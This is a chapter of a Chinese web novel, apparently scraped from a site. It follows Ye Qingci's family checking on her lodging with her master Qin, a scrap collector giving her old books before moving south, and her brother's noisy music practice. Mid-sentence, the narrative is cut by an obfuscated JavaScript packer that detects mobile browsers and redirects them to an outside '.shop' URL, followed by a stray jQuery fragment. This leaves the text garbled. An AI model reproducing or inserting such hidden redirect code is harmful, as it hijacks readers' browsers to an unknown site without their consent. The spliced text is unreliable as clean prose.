冬意渐深，小院工作间的灯光，常常亮至夜深。
起初，叶奶奶和叶妈对叶轻辞频繁留宿秦家小院很是放不下心。
倒不是不信任秦师父，只是做长辈的难免惦记：岁岁都已经这么大了，不回家睡别人那，被子够不够厚？那老房子冬天阴冷，会不会冻着？总这么叨扰人家，秦师傅会不会嫌烦？
这日，眼见又是个寒风呼啸的天，叶妈早早下了班，和叶奶奶一道，提着个沉甸甸的藤编食盒，里面装着刚蒸好暄软白胖的豆沙包，还有一小罐自家腌的、油亮亮的雪里蕻炒肉末，特意绕路来了秦家小院。
美其名曰送点吃的，实则是想亲眼瞧瞧情形。
叩响门环，是秦师父来开的门。
见是她们，脸上没什么多余表情，只侧身让了让：“进。”
“不好意思秦师傅，我们家岁岁又打扰您嘞。”
婆媳俩踏进院子，一眼就看见工作间窗户透出的暖黄灯光，隐约能看见叶轻辞伏案的纤细身影。
啸天认得她们，凑过来摇了摇尾巴。
叶妈笑着将食盒递上：“做了点吃的，给孩子和您添个夜宵。”
“费心。”秦师父接过，点了点头。
叶奶奶目光已忍不住往亮灯的屋子瞟，嘴里客气着：“这孩子，总这么晚，太麻烦您了……”
“不麻烦。”秦师父言简意赅，似乎知道她们的来意，顿了顿，道，“她在里头，你们自去看。”
得了这话，婆媳俩这才往工作间走。
怕打扰叶轻辞，她们在窗外瞥了几眼便罢，只轻轻推开隔壁侧屋的门——那是秦师父收拾出来给叶轻辞临时歇脚用的。
屋内陈设简单，却收拾得异常整洁干净。
一张小床铺得平整，上面叠放着的被子，一看就蓬松厚实，面料是柔软的老棉布，絮的是新弹的棉花，比叶轻辞在家盖的那床半旧的还要软和。
床边小几上，整齐放着她的脸盆和杯盏。
墙角，一只铸铁煤炉烧得正旺，炉膛里透出融融的红光，用的是好的块煤，屋里暖烘烘的，没有丝毫寒意，甚至比自家烧着普通煤球的屋子还要暖和干爽。
细细一嗅，屋子里仿佛还有些胰子和护手膏的清香。
叶妈伸手摸了摸那床被子，又看了看那炉火，悬着的心顿时落回了肚子里，与婆婆对视一眼，都在对方眼中看到了了然与安心。
回到院里，秦师父正将食盒里的东西腾到自家的碗碟中。
叶妈搓了搓手，有些不好意思地开口：“秦师父，这孩子真是让您费心了。这被子、这煤，不能让您又费心又破费。您看这……”
她话没说完，秦师父便摆了摆手，打断了她。
他脸上依旧是那副没什么波澜的表情，语气却带着一种理所当然的沉稳：“拜了师，就是我的徒弟。长辈照料小辈，天经地义，谈不上。”他看了眼工作间的方向，声音低沉了些，“她肯学，能吃苦，心思静，比什么都强。我这儿别的没有，一张安静的书案，一个暖和的歇脚处，还供得起……你们不必挂心。”
这话说得平淡，却字字实在，没有半点虚情客套。
叶奶奶眼眶有些热，连连点头：“是，是……孩子跟着您，是她的福气。我们放心，一百个放心！”
叶妈也赶紧道：“那……以后我们常做些吃的送来，您和孩子都别嫌弃。”
秦师父这次没拒绝，只“嗯”了一声。
送走千恩万谢的叶家婆媳，秦师父关好院门，回头望了一眼工作间亮着的窗。
窗玻璃上，隐约映出少女低头专注的侧影。
他无声地摇了摇头，嘴角几不可察地牵动了一下，似是无奈，又似是极淡的欣慰。
转身，秦师父将豆沙包放进小蒸笼里温着，那罐炒肉末也仔细盖好。
夜深了，一会儿得提醒那丫头吃点东西再继续。
……
一个冬日的周末，天色灰蒙蒙的，呵气成霜。
叶轻辞裹紧棉袄，踩着冻得硬邦邦的路面，按照约定，前往三条胡同外王大爷的家。
那是一片临街的自建区，王大爷的棚屋挤在中间，门口却拾掇得意外齐整。
压扁的纸壳板码成齐腰高的方块，废报纸用麻绳勒得紧绷绷，杂色玻璃瓶按颜色粗略分开装在破筐里，连捡来的破铜烂铁也大致归拢在一处，至于其他大小废品不一……分门别类，杂而不乱，自有章法。
叶轻辞到时，王大爷正蹲在门口一个小马扎上，端着一个豁了口的大海碗，呼噜呼噜地吃着热气腾腾的捞面。
面条是手擀的，酱色浓厚，上面零星点缀着几粒油渣和葱花。
冷风里，那碗面蒸腾起大团白气，模糊了皱起的脸庞。
“王爷爷早！”
“呦，叶丫头来啦，挺早。”听见脚步声，王大爷抬起眼皮，看见是她，含糊地招呼了一声，加快速度把最后几根面条扒拉进嘴，端起碗把面汤也喝了个干净，这才放下碗。他随手抹了把嘴，跺了跺有些冻麻的脚，掀开挡风的破棉布帘子，道，“外头冷，进来说话。”
棚屋内比外头更暗，只有一扇糊着塑料布的小窗透进些天光。
角落那个用红砖和水泥粗糙砌成的煤球炉子烧得正旺，炉膛里透出暗红的光，炉子上坐着的旧铁壶“滋滋”响着，壶嘴喷出细直的白气。
王大爷知道叶轻辞是为挑旧纸而来，指了指墙角摞着的几个鼓鼓囊囊的麻袋和几个纸箱子：“都是这几天收的，旧书多，还有些缺页少封皮的，估摸着你用得上……你眼神好，自个儿慢慢看，有用的尽管挑。”
“诶。”叶轻辞应了一声，熟门熟路地蹲到麻袋边开始翻看。
王大爷也拖过一个小矮凳坐下，两人随口聊了几句最近的行情。
正说着，炉子上的铁壶啸音陡然尖锐起来，水沸了。
王大爷停下话头，起身，从旁边水桶里舀了半瓢凉水，揭开壶盖，“刺啦”一声兑进去。
滚水遇到冷水，激烈地翻腾一下，那尖锐的啸音也戛然而止。
他没有立刻坐回，而是就着炉火的光，摸出兜里那包皱巴巴的、印着模糊红塔山图案的烟盒，抽出一根叼在嘴上，就着炉口余烬点燃，深深吸了一口。
劣质烟草辛辣的烟雾在昏暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306113|194440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棚屋里弥散开来。
好一会儿，他吐出一口长长的烟气，笑道：“人老了，不中用了啊……叶丫头，我这活计，马上就不干喽。”
叶轻辞翻检旧纸的手微微一顿，抬起头：“啊？”
王大爷又吸了口烟，才继续道：“南边……我儿子，打电话来了。说是在那边小城市站住脚了，买了间小房，非要接我过去。说我都这把年纪了，别在这冰天雪地里再折腾这些破烂，票都买好了……你说说，年轻人，风风火火的，我哪里拗得过他。”
他转过头，目光扫过这间陪伴他多年的简陋棚屋，扫过那些堆积如山的“破烂”，最后落在叶轻辞脸上，轻轻笑了笑，道：“左右这些家当老头子我也带不走，处理起来也麻烦……真全卖废品，也值不了几个蹦子，还累赘。”他用夹着烟的手指，虚点了点周遭，“叶丫头，你是个实诚孩子，真心喜欢这些老纸头，也有正用。看得上眼的，今儿个就多挑点走。别跟爷爷提钱，就算……爷爷送你的。”
“不怕多了拿不了哈，一会儿挑好了，爷爷骑着那三轮给你送回家，你坐车后面，包稳当！”
“……好，那我就不跟您客气了，多挑些走，也沾沾您跟您儿子的光。”叶轻辞笑道。
“这丫头，惯会说好听的话。”王大爷嘿嘿一笑，“手巧，嘴巴也灵啊。”
“哪有？您这一去南方，又有人照顾，还暖和，可不就享福去了。”叶轻辞扯了扯嘴角，宽慰他，“一说出去，邻里街坊，哪个不得夸赞一句，爷爷您孩子教得好，年轻人也有本事，能搁南方安家。”
“叶丫头啊，难怪都说你讨人喜欢呢。快，挑，可劲儿挑……爷爷高兴，挑够了，手里有料，心里不慌。”王大爷笑容灿烂，眼里却冒了泪花，“堆得多多的，我给你捆给你搬。”
“……好。”
叶轻辞心情复杂，却也不知道该多说些什么好，便低头仔细挑选了一批有潜质的旧纸和几本残缺但有研究价值的旧书。
王大爷蹬着那辆叮当作响的三轮车，帮她把东西送到了秦家。
看着老人略显佝偻的背影，叶轻辞站在院门口，心中感慨万千。
一个时代，一种活法，而旧时代正在悄然落幕。
而另一边，叶知新也有自己的成长。
不知从哪儿学的，这小家伙突然迷上了吹笛子和拉二胡。
兴致来了，便摇头晃脑地一顿吹拉弹唱，架势十足，奈何音准节奏全无，制造出的纯粹是杀伤性极强的噪音。
他还特意选了父母上班、姐姐不在家时间，自以为没打扰到任何人。
可他忘了，胡同里没有隔音的墙。
附近退休老人多，半大的孩子也不少。
在连续几天饱受魔音贯耳之后，一位抱着被吓哭孙子的老邻居，终于忍无可忍地敲开了叶家的门：“孩子有兴趣是好事，可这练习也该有个分寸，我家这小祖宗，一听这声儿就闹，你们说叫什么个事儿……”
叶妈闻言，满脸通红，连连道歉。
她回头看着抱着笛子、一脸无辜的叶知新，又是好气又是好笑，话到嘴边却不知该怎么教育。